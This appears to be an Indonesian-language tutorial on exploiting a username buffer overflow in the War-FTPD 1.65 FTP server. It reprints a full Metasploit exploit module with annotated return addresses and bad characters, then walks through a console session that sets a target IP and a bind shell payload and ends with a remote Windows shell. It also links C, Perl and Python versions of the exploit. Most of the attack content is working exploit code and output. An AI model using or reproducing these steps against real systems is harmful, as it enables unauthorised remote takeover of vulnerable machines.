disini kita dapat mencoba sebagai contoh adalah serangan ke WarFTP 1.65 yang dimana memiliki celah keamanan username overflow yang pengertian yang lebih luas lagi adalah Buffer overflow.
Buffer overflow merupakan sebuah proses yang terjadi di dalam sistem memory dimana terdapat proses yang tidak normal pada saat melakukan penyimpanan data sementara di dalam memory, yaitu pada saat adanya data-data yang akan disimpan melebihi buffer pada memory.
Disini penulis tampilkan modul exploit buffer overflow yang ditemukan pada perintah USER di aplikasi FTP Server dengan nama War-FTPD versi 1.65.
Disini saya berikan sedikit keterangan.
##
# $Id: warftpd_165_user.rb 9669 2010-07-03 03:13:45Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#
http://metasploit.com/framework/##
require ‘msf/core’
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘War-FTPD 1.65 Username Overflow’,
‘Description’ => %q{
This module exploits a buffer overflow found in the USER command
of War-FTPD 1.65.
},
‘Author’ => ‘Fairuzan Roslan <riaf [at] mysec.org>’,
‘License’ => BSD_LICENSE,
‘Version’ => ‘$Revision: 9669 $’,
‘References’ =>
[
[ 'CVE', '1999-0256'],
[ 'OSVDB', '875' ],
[ 'BID', '10078' ],
[ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘process’
},
‘Payload’ =>
{
‘Space’ => 424,
‘BadChars’ => “\x00\x0a\x0d\x40″,
BadChars adalah karakter yang dapat menyebabkan efek-efek pada exploit yang dikirimkan, bahkan dapat membuat fungsi menjadi gagal.
Jadi intinya karakter itu yang ada di BadChars yang tidak boleh muncul.
‘StackAdjustment’ => -3500,
‘Compat’ =>
{
‘ConnectionType’ => “-find”
}
},
‘Platform’ => ‘win’,
Di atas adalah set untuk exploitnya bahwa platformnya yang akan diexploitasi adalah Windows
Dibawah ini adalah untuk target 1 (Windows 2000 SP0-SP4 English), (target 2 (Windows XP SP2 English) dan 3 Windows XP SP3 English.
‘Targets’ =>
[
# Target 0
[
'Windows 2000 SP0-SP4 English',
{
'Ret' => 0x750231e2 # ws2help.dll
},
],
# Target 1
[
'Windows XP SP0-SP1 English',
{
'Ret' => 0x71ab1d54 # push esp, ret
}
Push esp artinya adalah perintah yang digunakan untuk menyimpan nilai ke dalam register esp. Register esp merupakan alamat yang dimana data stack disimpan di dalam memory. Ret adalah perintah kepada sistem yang menyimpan nilai pada stack dalam register eip.
Register eip merupakan register yang menyimpan lokasi memory dari instruksi berikutnya yang akan di eksekusi oleh sistem.
],
# Target 2
[
'Windows XP SP2 English',
{
'Ret' => 0x71ab9372 # push esp, ret
}
],
# Target 3
[
'Windows XP SP3 English',
{
'Ret' => 0x71ab2b53 # push esp, ret
}
]
],
‘DisclosureDate’ => ‘Mar 19 1998′))
end
Dibawah ini sudah proses untuk pengambilalihan atau taking over.
def exploit
connect
print_status(“Trying target #{target.name}…”)
buf = make_nops(600) + payload.encoded
buf[485, 4] = [ target.ret ].pack(‘V’)
Dibawah ini adalah pengiriman data username ke dalam FTP Server dan disinilah data yang tidak normal dikirimkan.
send_cmd( ['USER', buf] , false )
handler
disconnect
end
end
Untuk tanpa sedikit keterangan seperti diatas maka exploitnya dapat dilihat di
http://www.exploit-db.com/exploits/16724/Dengan warftpd_165_user.rb maka kita dapat melakukan exploitasi ke WarFTP Server tersebut. Contoh exploitasinya dengan payload windows/shell/bind_tcp adalah sebagai berikut :
###################### #
######################### #
############################
##############################
###############################
###############################
##############################
# ######## #
## ### #### ##
### ###
#### ###
#### ########## ####
####################### ####
#################### ####
################## ####
############ ##
######## ###
######### #####
############ ######
######## #########
##### ########
### #########
###### ############
#######################
# # ### # # ##
########################
## ## ## ##
=[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ — –=[ 731 exploits - 372 auxiliary - 80 post
+ -- --=[ 227 payloads - 27 encoders - 8 nops
=[ svn r13644 updated yesterday (2011.08.26)
[-] Warning: This copy of the Metasploit Framework has been corrupted by an installed anti-virus program.
[-] We recommend that you disable your anti-virus or exclude your Metasploit installation path,
[-] then restore the removed files from quarantine or reinstall the framework. For more info:
[-]
https://community.rapid7.com/docs/DOC-1273[-]
msf > use exploit/windows/ftp/warftpd_165_user
Perintah di atas adalah perintah untuk penggunaan exploit warftpd_165_user
msf > set TARGET 1
TARGET => 1
msf exploit(warftpd_165_user) > set PAYLOAD windows/shell/bind_tcp
Perintah di atas adalah perintah untuk penggunaan payload windows/shell/bind_tcp
msf exploit(warftpd_165_user) > set RHOST 192.168.1.57
Perintah diatas adalah untuk kita set IP target.
PAYLOAD => windows/shell/bind_tcp
RHOST => 192.168.1.57
msf exploit(warftpd_165_user) > exploit
Setelah kita set exploit yang digunakan, payload dan IP targetnya maka tinggal kita ketik exploit lalu enter.
[*] Started bind handler
[*] Trying target Windows XP SP0-SP1 English…
[*] Sending stage (240 bytes) to 192.168.1.57
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
D:\>
Binggo, kita mendapatkan shell dari target.
Tambahan yang ingin exploitasi dengan tool yang lain tapi target tetap sama.
Untuk yang suka pakai C (MinGW) :
http://www.exploit-db.com/exploits/3570/Untuk yang di Perl :
http://www.exploit-db.com/exploits/3482/Untuk yang Python :
http://www.exploit-db.com/exploits/3474/